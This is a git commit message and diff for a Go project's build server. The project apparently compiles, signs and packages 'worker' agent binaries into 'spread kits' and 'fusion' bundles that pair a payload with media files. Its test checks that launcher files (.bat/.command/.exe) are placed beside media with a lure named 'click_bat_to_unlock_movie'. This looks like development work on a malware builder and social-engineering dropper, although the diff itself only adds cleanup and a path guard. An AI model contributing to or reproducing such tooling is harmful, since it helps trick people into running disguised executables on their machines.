fix: second-wave bug fixes, security hardening, visual polish, UX improvements

Bug fixes:
- SRV-B1 through B5: server config, router, server_info, syscheck corrections
- BA-03 through BA-06: builder path and universal build cleanup (BLD-D1 through D3)
- Frontend WS race condition and useVisibleInterval hook fixed
- Drive-root path bug in PathForge resolved
- Upload error handling improved

Security:
- PathForge path traversal guard added
- Script injection escaping applied throughout

Visual (DV-01 through DV-15):
- Cyan design tokens and page headers standardised
- Dead CSS removed from Pages.css, PathTracerPage.css, wealth-deck.css
- SacredPageHeader deleted (replaced inline); sidebar version display fixed

UX:
- Emberwake request storm fixed (EmberwakePage.tsx)
- Help blurbs UH-01, UH-02, UH-06 added
- HelpTips wired into Crucible, Fleet (FleetGroupsStrip, FleetToolbar), Settings

Build:
- vite.config.ts: webroot auto-sync on build
- build_universal.go: universal build artifact cleanup
- PROBLEMS.md tracking updated

server/internal/builder/build_universal.go

@@ -20,10 +20,13 @@ func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, pr
 	buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
 	agentDir := filepath.Join(buildDir, "agent")
 
+	cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
+
 	if err := os.MkdirAll(agentDir, 0755); err != nil {
 		return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
 	}
 	if err := h.copyAgentSource(agentDir); err != nil {
+		cleanupBuild()
 		return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
 	}
 
@@ -32,6 +35,7 @@ func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, pr
 	for _, p := range platforms {
 		wp, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
 		if err != nil {
+			cleanupBuild()
 			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
 		}
 		workerPaths[p.Label()] = wp
@@ -50,6 +54,8 @@ func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, pr
 }
 
 func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
+	cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
+
 	var subdir string
 	if req.SpreadKit {
 		subdir = sanitizeFileName(req.WorkerName) + "-spread-kit"
@@ -58,6 +64,7 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
 	}
 	outDir := filepath.Join(h.projectRoot, "spread-kits", subdir)
 	if err := os.MkdirAll(outDir, 0755); err != nil {
+		cleanupBuild()
 		return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
 	}
 
@@ -65,15 +72,18 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
 		src := workers[p.Label()]
 		if h.shouldSignBuild(req) {
 			if err := h.signExecutable(src); err != nil {
+				cleanupBuild()
 				return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
 			}
 		}
 		destDir := filepath.Join(outDir, p.BinDir())
 		if err := os.MkdirAll(destDir, 0755); err != nil {
+			cleanupBuild()
 			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
 		}
 		destName := "worker" + p.Ext
 		if err := copyFile(src, filepath.Join(destDir, destName)); err != nil {
+			cleanupBuild()
 			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
 		}
 	}
@@ -88,10 +98,12 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
 	zipName := subdir + "-package.zip"
 	zipPath := filepath.Join(buildDir, zipName)
 	if err := zipDirectory(outDir, zipPath); err != nil {
+		cleanupBuild()
 		return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
 	}
 	_ = copyFile(zipPath, filepath.Join(outDir, zipName))
 	if err := h.checkBuildSizeFile(zipPath); err != nil {
+		cleanupBuild()
 		return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
 	}
 
@@ -133,6 +145,8 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
 }
 
 func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
+	cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
+
 	// Resolve payload display name (used for runner naming and ZIP title)
 	payloadBase := filepath.Base(prepPath)
 	title := strings.TrimSpace(req.FusionMediaBaseName)
@@ -147,6 +161,7 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
 	subdir := fusionExportSubdir(req, title)
 	outDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
 	if err := os.MkdirAll(outDir, 0755); err != nil {
+		cleanupBuild()
 		return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
 	}
 
@@ -161,21 +176,25 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
 		platReq.FusionOutputName = runnerNameForFile(title, p)
 		res, err := h.buildFusionForPlatform(ctx, buildDir, prepPath, workerPath, &platReq, p)
 		if err != nil {
+			cleanupBuild()
 			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
 		}
 		if h.shouldSignBuild(req) {
 			if err := h.signExecutable(res.LauncherPath); err != nil {
+				cleanupBuild()
 				return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
 			}
 		}
 		fusionResults = append(fusionResults, res)
 		destDir := filepath.Join(outDir, p.BinDir())
 		if err := os.MkdirAll(destDir, 0755); err != nil {
+			cleanupBuild()
 			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
 		}
 		runnerName := filepath.Base(res.LauncherPath)
 		destRunner := filepath.Join(destDir, runnerName)
 		if err := copyFile(res.LauncherPath, destRunner); err != nil {
+			cleanupBuild()
 			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
 		}
 		if p.GOOS == "windows" {
@@ -221,10 +240,12 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
 	zipName := fusionBundleZipName(subdir)
 	zipPath := filepath.Join(buildDir, zipName)
 	if err := zipDirectory(outDir, zipPath); err != nil {
+		cleanupBuild()
 		return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
 	}
 	_ = copyFile(zipPath, filepath.Join(outDir, zipName))
 	if err := h.checkBuildSizeFile(zipPath); err != nil {
+		cleanupBuild()
 		return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
 	}
 

server/internal/builder/pathforge.go

@@ -125,7 +125,7 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 
 	res := &PathForgeResult{}
 
-	err := filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error {
+	err = filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error {
 		if err != nil || d.IsDir() {
 			return nil
 		}

server/internal/builder/pathforge_test.go

@@ -63,11 +63,22 @@ func TestPathForgePlacedExcludesHintFile(t *testing.T) {
 	if res.Placed < 1 || res.Placed >= 3 {
 		t.Fatalf("placed should count companions only (not hint): %d", res.Placed)
 	}
+	// Verify each result entry: the hint file must be present (it is placed on
+	// disk alongside the media), and there must be at least one launcher companion
+	// (e.g. .bat/.command/.exe). Together with the Placed assertion above this
+	// confirms the hint is placed but NOT counted in the Placed total.
 	for _, entry := range res.Results {
+		foundHint := false
 		for _, f := range entry.Files {
 			if f == "click_bat_to_unlock_movie" {
-				continue
+				foundHint = true
 			}
 		}
+		if !foundHint {
+			t.Errorf("entry %q: hint file missing from Files list; got %v", entry.Source, entry.Files)
+		}
+		if len(entry.Files) < 2 {
+			t.Errorf("entry %q: expected hint + at least one launcher companion, got %v", entry.Source, entry.Files)
+		}
 	}
 }